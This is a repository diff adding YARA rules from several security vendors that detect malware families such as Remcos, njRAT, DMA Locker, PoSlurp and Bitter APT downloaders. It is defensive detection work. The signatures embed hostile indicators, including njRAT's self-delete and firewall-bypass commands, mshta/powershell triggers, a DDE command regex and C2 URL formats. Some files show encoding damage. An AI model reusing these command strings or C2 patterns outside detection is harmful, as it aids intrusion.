+      reference = "https://www.reversinglabs.com/newsroom/news/reversinglabs-yara-rule-detects-cobalt-strike-payload-exploiting-cve-2017-11882.html"
+      
+    strings:
+        $docfilemagic = { D0 CF 11 E0 A1 B1 1A E1 }
+
+        $equation1 = "Equation Native" wide ascii
+        $equation2 = "Microsoft Equation 3.0" wide ascii
+
+        $mshta = "mshta"
+        $http  = "http://"
+        $https = "https://"
+        $cmd   = "cmd"
+        $pwsh  = "powershell"
+        $exe   = ".exe"
+
+        $address = { 12 0C 43 00 }
+
+    condition:
+        $docfilemagic at 0 and any of ($mshta, $http, $https, $cmd, $pwsh, $exe) and any of ($equation1, $equation2) and $address
+}
diff --git a/yara-mikesxrs/ReversingLabs/Rana_Android_resources.yar b/yara-mikesxrs/ReversingLabs/Rana_Android_resources.yar
new file mode 100644
index 0000000..87daf15
--- /dev/null
+++ b/yara-mikesxrs/ReversingLabs/Rana_Android_resources.yar
@@ -0,0 +1,11 @@
+rule Rana_Android_resources {
+meta:
+     author = "ReversingLabs"
+     reference = "https://blog.reversinglabs.com/blog/rana-android-malware"
+strings:
+        $res1 = "res/raw/cng.cn" fullword wide ascii
+        $res2 = "res/raw/att.cn" fullword wide ascii
+        $res3 = "res/raw/odr.od" fullword wide ascii
+condition:
+        any of them /* any string in the rule */
+}
diff --git a/yara-mikesxrs/ReversingLabs/Unpacker_Stub.yar b/yara-mikesxrs/ReversingLabs/Unpacker_Stub.yar
new file mode 100644
index 0000000..14f4faf
--- /dev/null
+++ b/yara-mikesxrs/ReversingLabs/Unpacker_Stub.yar
@@ -0,0 +1,13 @@
+rule Unpacker_Stub
+{
+meta:
+  author = "Malware Utkonos"
+  date = "2020-12-30"
+  description = "First Byte in decoded unpacker stub"
+  exemplar = "c1d31fa7484170247564e89c97cc325d1f317fb8c8efe50e4d126c7881adf499"
+  reference = "https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders"
+strings:
+$a = {E8 00 00 00 00 5B 81 EB [4] 8D 83 [4] 89 83 [4] 8D B3 [4] 89 B3 [4] 8B 46 ?? 89 83 [4] 8D B3 [4] 56 8D B3 [4] 56 6A ?? 68 [4] 8D BB [4] FF D7}
+condition:
+(uint16(0) == 0x5A4D and uint32 (uint32(0x3C)) == 0x00004550) and $a
+}
diff --git a/yara-mikesxrs/ReversingLabs/image_eval_hunt.yar b/yara-mikesxrs/ReversingLabs/image_eval_hunt.yar
new file mode 100644
index 0000000..3bf52c9
--- /dev/null
+++ b/yara-mikesxrs/ReversingLabs/image_eval_hunt.yar
@@ -0,0 +1,13 @@
+rule image_eval_hunt
+{
+	meta:
+     author = "ReversingLabs"
+     reference = "https://blog.reversinglabs.com/blog/malware-in-images"
+   strings:
+      $png = {89 50 4E 47}
+      $jpeg = {FF D8 FF}
+      $gif = "GIF"
+      $eval = "eval("
+   condition:
+      (($png at 0) or ($jpeg at 0) or ($gif at 0)) and $eval
+}
diff --git a/yara-mikesxrs/ReversingLabs/obfuscated_dde.yar b/yara-mikesxrs/ReversingLabs/obfuscated_dde.yar
new file mode 100644
index 0000000..0d87ee9
--- /dev/null
+++ b/yara-mikesxrs/ReversingLabs/obfuscated_dde.yar
@@ -0,0 +1,12 @@
+rule obfuscated_dde
+{
+    meta:
+	reference = "https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation"
+	author = "ReversingLabs"
+    strings:
+
+        $dde_command_1 = /[=+-]+[ 0-9A-Za-z_\"\&\^\-\=\/\+\(\x00]*(((c|C)[\x00]*(m|M)[\x00]*(d|D)[\x00]*\|)|((m|M)[\x00]*(s|S)[\x00]*(i|I|e|E)[\x00]*(e|E|x|X)[\x00]*(x|X|c|C)[\x00]*(e|E)[\x00]*(c|C|l|L)[\x00]*\|)|((r|R)[\x00]*(u|U|e|E)[\x00]*(n|N|g|G)[\x00]*(d|D|s|S)[\x00]*(l|L|v|V)[\x00]*(l|L|r|R)[\x00]*3[\x00]*2[0-9A-Za-z\x00]*\|)|((c|C)[\x00]*(e|E)[\x00]*(r|R)[\x00]*(t|T)[\x00]*(u|U)[\x00]*(t|T)[\x00]*(i|I)[\x00]*(l|L)[0-9A-Za-z\x00]*\|))[\x00]*\'/
+
+    condition:
+        $dde_command_1
+}
diff --git a/yara-mikesxrs/Root 9B/PoSLURP b/yara-mikesxrs/Root 9B/PoSLURP
new file mode 100644
index 0000000..a8aa2ed
--- /dev/null
+++ b/yara-mikesxrs/Root 9B/PoSLURP	
@@ -0,0 +1,175 @@
+/*
+
+    root9B Yara Rules for SHELLTEA + POSLURP MALWARE blog entry
+
+    https://www.root9b.com/newsroom/shelltea-poslurp-malware
+
+*/
+
+rule PoSlurpFile : PoSlurp
+
+{
+
+    meta:
+
+       copyright = "root9b, LLC"
+
+       authors = "Matt Weeks, Dax Morrow"
+
+       description = "ShellTea + PoSlurp PoS Malware on Disk PoSlurp executable"
+
+       reference = "https://www.root9b.com/newsroom/shelltea-poslurp-malware"
+
+       version = "1.0"
+
+       last_modified = "2017-06-27"
+
+strings:
+
+       $hex1 = { 81 C2 FF 5C F3 22 52 56 E8 } // outer layer custom function resolver
+
+condition:
+
+       uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $hex1
+
+}
+
+rule inRegPowerSniff : PowerSniff
+
+{
+
+meta:
+
+       copyright = "root9b, LLC"
+
+       authors = "Matt Weeks, Dax Morrow"
+
+       description = "ShellTea + PoSlurp PoS Malware in Registry PowerSniff"
+
+		reference = "https://www.root9b.com/newsroom/shelltea-poslurp-malware"
+
+		version = "1.0"
+
+       last_modified = "2017-06-27"
+
+strings:
+
+       $hex1 = { 41 2B CF 81 38 BE BA AD AB 48 8B D0 75 09 81 78 04 0D F0 AD 8B } //shellcode blob in registry
+
+condition:
+
+$hex1
+
+}
+
+rule inRegShellTea : ShellTea {
+
+meta:
+
+       copyright = "root9b, LLC"
+
+   authors = "Matt Weeks, Dax Morrow"
+
+       description = "ShellTea + PoSlurp PoS Malware in Registry ShellTea"
+
+reference = "https://www.root9b.com/newsroom/shelltea-poslurp-malware"
+
+version = "1.0"
+
+       last_modified = "2017-06-27"
+
+strings:
+
+       $hex1 = { 48 83 EC 28 E8 F7 03 00 00 [1015] 48 89 5C 24 18 48 89 4C 24 08 55 56 57 41 54 41 } // Binary registry value with variable content for ShellTea config
+
+condition:
+
+$hex1
+
+}
+
+rule inMemPowerSniff : PowerSniff {
+
+meta:
+
+       copyright = "root9b, LLC"
+
+       authors = "Matt Weeks, Dax Morrow"
+
+       description = "ShellTea + PoSlurp in Memory PowerSniff"
+
+       reference = "https://www.root9b.com/newsroom/shelltea-poslurp-malware"
+
+version = "1.0"
+
+       last_modified = "2017-06-27"
+
+strings:
+
+       $wide_string = "/%s?user=%08x%08x%08x%08x&id=%u&ver=%u&os=%lu&os2=%lu&host=%u&k=%lu&type=%u" wide //PowerSniff URL Pattern
+
+       $wide_string2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s)" wide // PowerSniff URL Pattern
+
+condition:
+
+all of them
+
+}
+
+rule inMemShellTea : ShellTea {
+
+meta:
+
+       copyright = "root9b, LLC"
+
+       authors = "Matt Weeks, Dax Morrow"
+
+       description = "ShellTea + PoSlurp PoS Malware in Memory ShellTea"
+
+		reference = "https://www.root9b.com/newsroom/shelltea-poslurp-malware"
+
+		version = "1.0"
+
+       last_modified = "2017-06-27"
+
+strings:
+
+       $hex1 = { B9 1D C7 12 45 E8 } // opcodes for function hash
+
+		$hex2 = { B9 52 7E 10 E1 E8 } // opcodes for function hash
+	
+		$hex3 = { B9 CC 11 67 D6 E8 } // opcodes for function hash
+
+condition:
+
+all of them
+
+}
+
+rule inMemPoSlurp : PoSlurp {
+
+meta:
+
+       copyright = "root9b, LLC"
+
+       authors = "Matt Weeks, Dax Morrow"
+
+       description = "ShellTea + PoSlurp PoS Malware in Memory PoSlurp"
+
+reference = "https://www.root9b.com/newsroom/shelltea-poslurp-malware"
+
+version = "1.0"
+
+        last_modified = "2017-06-27"
+
+       strings:
+
+          $hex1 = { C6 45 ED 65 C6 45 EE 72 C6 45 EF 6E C6 45 F0 65 } // Kernel32 obfuscated
+
+          $hex2 = { E8 EE FD FF FF 68 88 13 00 00 FF D6 8D 44 24 18 50 FF D7 8D 44 24 10 50 8D 44 24 1C 50 FF D3 8B 44 24 10 2B 05 80 50 40 00 8B 4C 24 14 1B 0D 84 50 40 00 6A 00 68 80 96 98 00 51 50 E8 B7 05 00 00 6A 3C 33 D2 59 F7 F1 3B 05 2C 40 40 00 72 B0 } // opcodes f rom top-level scan memory basic block
+
+       condition:
+
+         all of them
+
+} 
diff --git a/yara-mikesxrs/SadFud/DMALocker-All-Versions.yara b/yara-mikesxrs/SadFud/DMALocker-All-Versions.yara
new file mode 100644
index 0000000..72eef34
--- /dev/null
+++ b/yara-mikesxrs/SadFud/DMALocker-All-Versions.yara
@@ -0,0 +1,18 @@
+//more info at reversecodes.wordpress.com
+rule DMALocker
+{
+    meta:
+    Description = "Deteccion del ransomware DMA Locker desde la version 1.0 a la 4.0"
+    Author = "SadFud"
+    Date = "30/05/2016"
+    
+    strings:
+    $uno = { 41 42 43 58 59 5a 31 31 }
+	  $dos = { 21 44 4d 41 4c 4f 43 4b }
+	  $tres = { 21 44 4d 41 4c 4f 43 4b 33 2e 30 }
+	  $cuatro = { 21 44 4d 41 4c 4f 43 4b 34 2e 30 }
+    
+    condition:
+    any of them
+    
+}
diff --git a/yara-mikesxrs/SadFud/Remcos_RAT.yara b/yara-mikesxrs/SadFud/Remcos_RAT.yara
new file mode 100644
index 0000000..b89863c
--- /dev/null
+++ b/yara-mikesxrs/SadFud/Remcos_RAT.yara
@@ -0,0 +1,16 @@
+rule Remcos_RAT
+{
+    meta:
+    Description = "Deteccion del troyano Remcos"
+    Author = "SadFud"
+    Date = "08/08/2016"
+	  Hash = "f467114dd637c817b4c982fad55fe019"
+    
+    strings:
+    $a = { 52 45 4d 43 4f 53 }
+	  $b = { 52 65 6d 63 6f 73 5f 4d 75 74 65 78 }
+    
+    condition:
+    $a or $b 
+    
+}
diff --git a/yara-mikesxrs/SadFud/Ripper_ATM.yara b/yara-mikesxrs/SadFud/Ripper_ATM.yara
new file mode 100644
index 0000000..1456a37
--- /dev/null
+++ b/yara-mikesxrs/SadFud/Ripper_ATM.yara
@@ -0,0 +1,17 @@
+rule Ripper_ATM
+{
+    meta:
+    Description = "RIPPER ATM MALWARE"
+    Author = "SadFud"
+    Date = "02/09/2016"
+    Hash = "cc85e8ca86c787a1c031e67242e23f4ef503840739f9cdc7e18a48e4a6773b38"
+    VT Scan = "https://www.virustotal.com/es/file/cc85e8ca86c787a1c031e67242e23f4ef503840739f9cdc7e18a48e4a6773b38/analysis/"
+    
+    strings:
+    $a = { 6b 65 72 6e 79 76 40 6a 61 62 62 69 6d 2e 63 6f 6d }
+	  
+    
+    condition:
+    $a 
+    
+}
diff --git a/yara-mikesxrs/SadFud/SadFud_index.yara b/yara-mikesxrs/SadFud/SadFud_index.yara
new file mode 100644
index 0000000..f8bd8f9
--- /dev/null
+++ b/yara-mikesxrs/SadFud/SadFud_index.yara
@@ -0,0 +1,95 @@
+//more info at reversecodes.wordpress.com
+rule DMALocker
+{
+    meta:
+    Description = "Deteccion del ransomware DMA Locker desde la version 1.0 a la 4.0"
+    Author = "SadFud"
+    Date = "30/05/2016"
+    
+    strings:
+    $uno = { 41 42 43 58 59 5a 31 31 }
+	  $dos = { 21 44 4d 41 4c 4f 43 4b }
+	  $tres = { 21 44 4d 41 4c 4f 43 4b 33 2e 30 }
+	  $cuatro = { 21 44 4d 41 4c 4f 43 4b 34 2e 30 }
+    
+    condition:
+    any of them
+    
+}
+//More at reversecodes.wordpress.com
+rule DMALocker4.0
+{
+    meta:
+    Description = "Deteccion del ransomware DMA Locker version 4.0"
+    Author = "SadFud"
+    Date = "30/05/2016"
+	Hash = "e3106005a0c026fc969b46c83ce9aeaee720df1bb17794768c6c9615f083d5d1"
+    
+    strings:
+    $clave = { 21 44 4d 41 4c 4f 43 4b 34 2e 30 }
+    
+    condition:
+    $clave 
+    
+}
+rule Remcos_RAT
+{
+    meta:
+    Description = "Deteccion del troyano Remcos"
+    Author = "SadFud"
+    Date = "08/08/2016"
+	  Hash = "f467114dd637c817b4c982fad55fe019"
+    
+    strings:
+    $a = { 52 45 4d 43 4f 53 }
+	  $b = { 52 65 6d 63 6f 73 5f 4d 75 74 65 78 }
+    
+    condition:
+    $a or $b 
+    
+}
+rule Ripper_ATM
+{
+    meta:
+    Description = "RIPPER ATM MALWARE"
+    Author = "SadFud"
+    Date = "02/09/2016"
+    Hash = "cc85e8ca86c787a1c031e67242e23f4ef503840739f9cdc7e18a48e4a6773b38"
+    VT Scan = "https://www.virustotal.com/es/file/cc85e8ca86c787a1c031e67242e23f4ef503840739f9cdc7e18a48e4a6773b38/analysis/"
+    
+    strings:
+    $a = { 6b 65 72 6e 79 76 40 6a 61 62 62 69 6d 2e 63 6f 6d }
+	  
+    
+    condition:
+    $a 
+    
+}
+rule: Satana_Ransomware
+{
+	 meta:
+    Description = "Deteccion de ransomware Satana"
+    Author = "SadFud"
+    Date = "12/07/2016"
+	
+	strings:
+	$satana = { !satana! } nocase
+	
+	condition:
+	$satana
+}
+rule Malware.Gen.Vbs.Obfuscated
+{
+    meta:
+    Description = "Deteccion de archivos visual basic script ofuscados"
+    Author = "SadFud"
+    Date = "28/05/2016"
+    
+    strings:
+    $eg = { 45 78 65 63 75 74 65 47 6c 6f 62 61 6c } 
+    $e = { 45 78 65 63 75 74 65 } 
+    
+    condition:
+    $eg or $e
+    
+}
diff --git a/yara-mikesxrs/Secuinfra/APT_Bitter_Almond_Rat.yar b/yara-mikesxrs/Secuinfra/APT_Bitter_Almond_Rat.yar
new file mode 100644
index 0000000..45ce247
--- /dev/null
+++ b/yara-mikesxrs/Secuinfra/APT_Bitter_Almond_Rat.yar
@@ -0,0 +1,39 @@
+/*
+Yara Rule Set
+Author: SECUINFRA Falcon Team
+Date: 2022-06-23
+Identifier: 0x03-yara_win-Bitter_T-APT-17
+Reference: "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh"
+*/
+
+/* Rule Set —————————————————————– */
+
+import "pe"
+import "dotnet"
+
+rule APT_Bitter_Almond_RAT {
+
+meta:
+description = "Detects Bitter (T-APT-17) Almond RAT (.NET)"
+author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
+tlp = "WHITE" reference = " https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh"
+date = "2022-06-01" hash = "55901c2d5489d6ac5a0671971d29a31f4cdfa2e03d56e18c1585d78547a26396"
+
+strings:
+$function0 = "GetMacid" ascii
+$function1 = "StartCommWithServer" ascii
+$function2 = "sendingSysInfo" ascii
+$dbg0 = "*|END|*" wide
+$dbg1 = "FILE>" wide
+$dbg2 = "[Command Executed Successfully]" wide
+
+condition:
+uint16(0) == 0x5a4d
+and dotnet.version == "v4.0.30319"
+and filesize > 12KB // Size on Disk/1.5
+and filesize < 68KB // Size of Image*1.5
+and any of ($function*)
+and any of ($dbg*)
+}
+
+
diff --git a/yara-mikesxrs/Secuinfra/APT_Bitter_Maldoc_Verify.yar b/yara-mikesxrs/Secuinfra/APT_Bitter_Maldoc_Verify.yar
new file mode 100644
index 0000000..d58a55a
--- /dev/null
+++ b/yara-mikesxrs/Secuinfra/APT_Bitter_Maldoc_Verify.yar
@@ -0,0 +1,41 @@
+/*
+Yara Rule Set
+Author: SECUINFRA Falcon Team
+Date: 2022-06-23
+Identifier: 0x03-yara_win-Bitter_T-APT-17
+Reference: "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh"
+*/
+
+/* Rule Set —————————————————————– */
+
+rule APT_Bitter_Maldoc_Verify {
+
+meta:
+description = "Detects Bitter (T-APT-17) shellcode in oleObject (CVE-2018-0798)"
+author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
+tlp = "WHITE"
+reference = "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh"
+date = "2022-06-01"
+hash0 = "0c7158f9fc2093caf5ea1e34d8b8fffce0780ffd25191fac9c9b52c3208bc450"
+hash1 = "bd0d25194634b2c74188cfa3be6668590e564e6fe26a6fe3335f95cbc943ce1d"
+hash2 = "3992d5a725126952f61b27d43bd4e03afa5fa4a694dca7cf8bbf555448795cd6"
+
+strings:
+// This rule is meant to be used for verification of a Bitter Maldoc
+// rather than a hunting rule since the oleObject it is matching is
+// compressed in the doc zip
+
+$xor_string0 = "LoadLibraryA" xor
+$xor_string1 = "urlmon.dll" xor
+$xor_string2 = "Shell32.dll" xor
+$xor_string3 = "ShellExecuteA" xor
+$xor_string4 = "MoveFileA" xor
+$xor_string5 = "CreateDirectoryA" xor
+$xor_string6 = "C:\\Windows\\explorer" xor
+$padding = {000001128341000001128341000001128342000001128342}
+
+condition:
+3 of ($xor_string*)
+and $padding
+}
+
diff --git a/yara-mikesxrs/Secuinfra/APT_Bitter_PDB_Paths.yar b/yara-mikesxrs/Secuinfra/APT_Bitter_PDB_Paths.yar
new file mode 100644
index 0000000..968e902
--- /dev/null
+++ b/yara-mikesxrs/Secuinfra/APT_Bitter_PDB_Paths.yar
@@ -0,0 +1,33 @@
+/*
+Yara Rule Set
+Author: SECUINFRA Falcon Team
+Date: 2022-06-23
+Identifier: 0x03-yara_win-Bitter_T-APT-17
+Reference: "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh"
+*/
+
+/* Rule Set —————————————————————– */
+rule APT_Bitter_PDB_Paths {
+
+meta:
+description = "Detects Bitter (T-APT-17) PDB Paths"
+author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
+tlp = "WHITE"
+reference = "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh"
+date = "2022-06-22"
+hash0 = "55901c2d5489d6ac5a0671971d29a31f4cdfa2e03d56e18c1585d78547a26396"
+
+strings:
+// Almond RAT
+$pdbPath0 = "C:\\Users\\Window 10 C\\Desktop\\COMPLETED WORK\\" ascii
+$pdbPath1 = "stdrcl\\stdrcl\\obj\\Release\\stdrcl.pdb"
+
+// found by Qi Anxin Threat Intellingence Center
+// reference: https://mp.weixin.qq.com/s/8j_rHA7gdMxY1_X8alj8Zg
+$pdbPath2 = "g:\\Projects\\cn_stinker_34318\\"
+$pdbPath3 = "renewedstink\\renewedstink\\obj\\Release\\stimulies.pdb"
+
+condition:
+uint16(0) == 0x5a4d
+and any of ($pdbPath*)
+}
diff --git a/yara-mikesxrs/Secuinfra/APT_Bitter_ZxxZ_Downloader.yar b/yara-mikesxrs/Secuinfra/APT_Bitter_ZxxZ_Downloader.yar
new file mode 100644
index 0000000..8edd453
--- /dev/null
+++ b/yara-mikesxrs/Secuinfra/APT_Bitter_ZxxZ_Downloader.yar
@@ -0,0 +1,49 @@
+/*
+Yara Rule Set
+Author: SECUINFRA Falcon Team
+Date: 2022-06-23
+Identifier: 0x03-yara_win-Bitter_T-APT-17
+Reference: "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh"
+*/
+
+/* Rule Set —————————————————————– */
+
+rule APT_Bitter_ZxxZ_Downloader {
+
+meta:
+description = "Detects Bitter (T-APT-17) ZxxZ Downloader"
+author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
+tlp = "WHITE"
+reference = " https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh"
+date = "2022-06-01"
+hash0 = "91ddbe011f1129c186849cd4c84cf7848f20f74bf512362b3283d1ad93be3e42"
+hash1 = "90fd32f8f7b494331ab1429712b1735c3d864c8c8a2461a5ab67b05023821787"
+hash2 = "69b397400043ec7036e23c225d8d562fdcd3be887f0d076b93f6fcaae8f3dd61"
+hash3 = "3fdf291e39e93305ebc9df19ba480ebd60845053b0b606a620bf482d0f09f4d3"
+hash4 = "fa0ed2faa3da831976fee90860ac39d50484b20bee692ce7f0ec35a15670fa92"
+
+strings:
+// old ZxxZ samples / decrypted strings
+$old0 = "MsMp" ascii
+$old1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" ascii
+$old2 = "&&user=" ascii
+$old3 = "DN-S" ascii
+$old4 = "RN_E" ascii
+
+// new ZxxZ samples
+$c2comm0 = "GET /" ascii
+$c2comm1 = "profile" ascii
+$c2comm2 = ".php?" ascii
+$c2comm3 = "data=" ascii
+$c2comm4 = "Update" ascii
+$c2comm5 = "TTT" ascii
+
+condition:
+uint16(0) == 0x5a4d
+and filesize > 39KB // Size on Disk/1.5
+and filesize < 2MB // Size of Image*1.5
+
+and (all of ($old*)) or (all of ($c2comm*))
+
+}
+
diff --git a/yara-mikesxrs/SenseCy/ORXLocker.yar b/yara-mikesxrs/SenseCy/ORXLocker.yar
new file mode 100644
index 0000000..59aa0fb
--- /dev/null
+++ b/yara-mikesxrs/SenseCy/ORXLocker.yar
@@ -0,0 +1,23 @@
+rule ORXLocker
+{
+meta:
+	author = “SenseCy�
+	date = “30/08/15�
+	description = “ORXLocker_yara_rule�
+	reference = "https://blog.sensecy.com/2016/03/10/handling-a-ransomware-attack/"
+
+strings:
+	$string0 = {43 61 6e 27 74 20 63 6f 6d 70 6c 65 74 65 20 53 4f 43 4b 53 34 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 74 6f 20 25 64 2e 25 64 2e 25 64 2e 25 64 3a 25 64 2e 20 28 25 64 29 2c 20 72 65 71 75 65 73 74 20 72 65 6a 65 63 74 65 64 20 62 65 63 61 75 73 65 20 74 68 65 20 63 6c 69 65 6e 74 20 70 72 6f 67 72 61 6d 20 61 6e 64 20 69 64 65 6e 74 64 20 72 65 70 6f 72 74 20 64 69 66 66 65 72 65 6e 74 20 75 73 65 72 2d 69 64 73 2e}
+	$string1 = {43 61 6e 27 74 20 63 6f 6d 70 6c 65 74 65 20 53 4f 43 4b 53 35 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 74 6f 20 25 30 32 78 25 30 32 78 3a 25 30 32 78 25 30 32 78 3a 25 30 32 78 25 30 32 78 3a 25 30 32 78 25 30 32 78 3a 25 30 32 78 25 30 32 78 3a 25 30 32 78 25 30 32 78 3a 25 30 32 78 25 30 32 78 3a 25 30 32 78 25 30 32 78 3a 25 64 2e 20 28 25 64 29}
+	$string2 = {53 4f 43 4b 53 35 3a 20 73 65 72 76 65 72 20 72 65 73 6f 6c 76 69 6e 67 20 64 69 73 61 62 6c 65 64 20 66 6f 72 20 68 6f 73 74 6e 61 6d 65 73 20 6f 66 20 6c 65 6e 67 74 68 20 3e 20 32 35 35 20 5b 61 63 74 75 61 6c 20 6c 65 6e 3d 25 7a 75 5d}
+	$string3 = {50 72 6f 78 79 20 43 4f 4e 4e 45 43 54 20 66 6f 6c 6c 6f 77 65 64 20 62 79 20 25 7a 64 20 62 79 74 65 73 20 6f 66 20 6f 70 61 71 75 65 20 64 61 74 61 2e 20 44 61 74 61 20 69 67 6e 6f 72 65 64 20 28 6b 6e 6f 77 6e 20 62 75 67 20 23 33 39 29}
+	$string4 = {3c 61 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 72 6b 63 67 77 63 73 66 77 68 76 75 76 67 6c 69 2e 74 6f 72 32 77 65 62 2e 6f 72 67 3e 68 74 74 70 73 3a 2f 2f 72 6b 63 67 77 63 73 66 77 68 76 75 76 67 6c 69 2e 74 6f 72 32 77 65 62 2e 6f 72 67 3c 2f 61 3e 3c 62 72 3e}
+	$string5 = {43 3a 5c 44 65 76 5c 46 69 6e 61 6c 5c 52 65 6c 65 61 73 65 5c 6d 61 69 6e 2e 70 64 62}
+	$string6 = {2e 3f 41 56 3f 24 62 61 73 69 63 5f 6f 66 73 74 72 65 61 6d 40 44 55 3f 24 63 68 61 72 5f 74 72 61 69 74 73 40 44 40 73 74 64 40 40 40 73 74 64 40 40}
+	$string7 = {2e 3f 41 56 3f 24 62 61 73 69 63 5f 69 6f 73 40 5f 57 55 3f 24 63 68 61 72 5f 74 72 61 69 74 73 40 5f 57 40 73 74 64 40 40 40 73 74 64 40 40}
+	$string8 = “ttp://4rhfxsrzmzilheyj.onion/get.php?a=� wide
+	$string9 = “\\Payment-Instructions.htm� wide
+
+condition:
+	all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/SenseCy/njrat_08d.yar b/yara-mikesxrs/SenseCy/njrat_08d.yar
new file mode 100644
index 0000000..196b775
--- /dev/null
+++ b/yara-mikesxrs/SenseCy/njrat_08d.yar
@@ -0,0 +1,23 @@
+rule njrat_08d
+{
+meta:
+	author = “SenseCy�
+	date = “23-12-2015�
+	description = “Njrat v0.8d�
+	reference = "https://blog.sensecy.com/2016/01/05/is-there-a-new-njrat-out-there/"
+	sample_filetype = “exe�
+
+strings:
+	$string0 = “U0VFX01BU0tfTk9aT05FQ0hFQ0tT� wide
+	$string1 = “netsh firewall delete allowedprogram� wide
+	$string2 = “netsh firewall add allowedprogram� wide
+	$string3 = “cmd.exe /k ping 0 & del� wide
+	$string4 = “&explorer /root,\�%CD%� wide
+	$string5 = “WScript.Shell� wide
+	$string6 = “Microsoft.VisualBasic.CompilerServices�
+	$string7 = “_CorExeMain�
+	$string8 = { 6d 73 63 6f 72 65 65 2e 64 6c 6c }
+
+condition:
+	all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/3102.yar b/yara-mikesxrs/Seth Hardy/3102.yar
new file mode 100644
index 0000000..53684d3
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/3102.yar	
@@ -0,0 +1,40 @@
+private rule APT3102Code : APT3102 Family 
+{
+    meta:
+        description = "3102 code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $setupthread = { B9 02 07 00 00 BE ?? ?? ?? ?? 8B F8 6A 00 F3 A5 }
+  
+    condition:
+        any of them
+}
+
+private rule APT3102Strings : APT3102 Family
+{
+    meta:
+        description = "3102 Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "rundll32_exec.dll\x00Update"
+        // this is in the encrypted code - shares with 9002 variant
+        //$ = "POST http://%ls:%d/%x HTTP/1.1"
+        
+    condition:
+       any of them
+}
+
+rule APT3102 : Family
+{
+    meta:
+        description = "3102"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    condition:
+        APT3102Code or APT3102Strings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/9002.yar b/yara-mikesxrs/Seth Hardy/9002.yar
new file mode 100644
index 0000000..0042bf4
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/9002.yar	
@@ -0,0 +1,47 @@
+private rule APT9002Code : APT9002 Family 
+{
+    meta:
+        description = "9002 code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        // start code block
+        $ = { B9 7A 21 00 00 BE ?? ?? ?? ?? 8B F8 ?? ?? ?? F3 A5 }
+        // decryption from other variant with multiple start threads
+        $ = { 8A 14 3E 8A 1C 01 32 DA 88 1C 01 8B 54 3E 04 40 3B C2 72 EC }
+  
+    condition:
+        any of them
+}
+
+private rule APT9002Strings : APT9002 Family
+{
+    meta:
+        description = "9002 Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "POST http://%ls:%d/%x HTTP/1.1"
+        $ = "%%TEMP%%\\%s_p.ax" wide ascii
+        $ = "%TEMP%\\uid.ax" wide ascii
+        $ = "%%TEMP%%\\%s.ax" wide ascii
+        // also triggers on surtr $ = "mydll.dll\x00DoWork"
+        $ = "sysinfo\x00sysbin01"
+        $ = "\\FlashUpdate.exe"
+        
+    condition:
+       any of them
+}
+
+rule APT9002 : Family
+{
+    meta:
+        description = "9002"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    condition:
+        APT9002Code or APT9002Strings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/APT_NGO_wuaclt.yar b/yara-mikesxrs/Seth Hardy/APT_NGO_wuaclt.yar
new file mode 100644
index 0000000..79ff8c7
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/APT_NGO_wuaclt.yar	
@@ -0,0 +1,26 @@
+rule APT_NGO_wuaclt
+{
+  strings:
+    $a = "%%APPDATA%%\\Microsoft\\wuauclt\\wuauclt.dat"
+    $b = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
+    $c = "/news/show.asp?id%d=%d"
+    
+	$d = "%%APPDATA%%\\Microsoft\\wuauclt\\"
+	$e = "0l23kj@nboxu"
+	
+	$f = "%%s.asp?id=%%d&Sid=%%d"
+	$g = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SP Q%%d)"
+	$h = "Cookies: UseID=KGIOODAOOK%%s"
+
+  condition:
+    ($a and $b and $c) or ($d and $e) or ($f and $g and $h)
+}
+rule APT_NGO_wuaclt_PDF
+{
+	strings:
+		$pdf  = "%PDF" nocase
+		$comment = {3C 21 2D 2D 0D 0A 63 57 4B 51 6D 5A 6C 61 56 56 56 56 56 56 56 56 56 56 56 56 56 63 77 53 64 63 6A 4B 7A 38 35 6D 37 4A 56 6D 37 4A 46 78 6B 5A 6D 5A 6D 52 44 63 5A 58 41 73 6D 5A 6D 5A 7A 42 4A 31 79 73 2F 4F 0D 0A}
+	
+	condition:
+		$pdf at 0 and $comment in (0..200)
+}
\ No newline at end of file
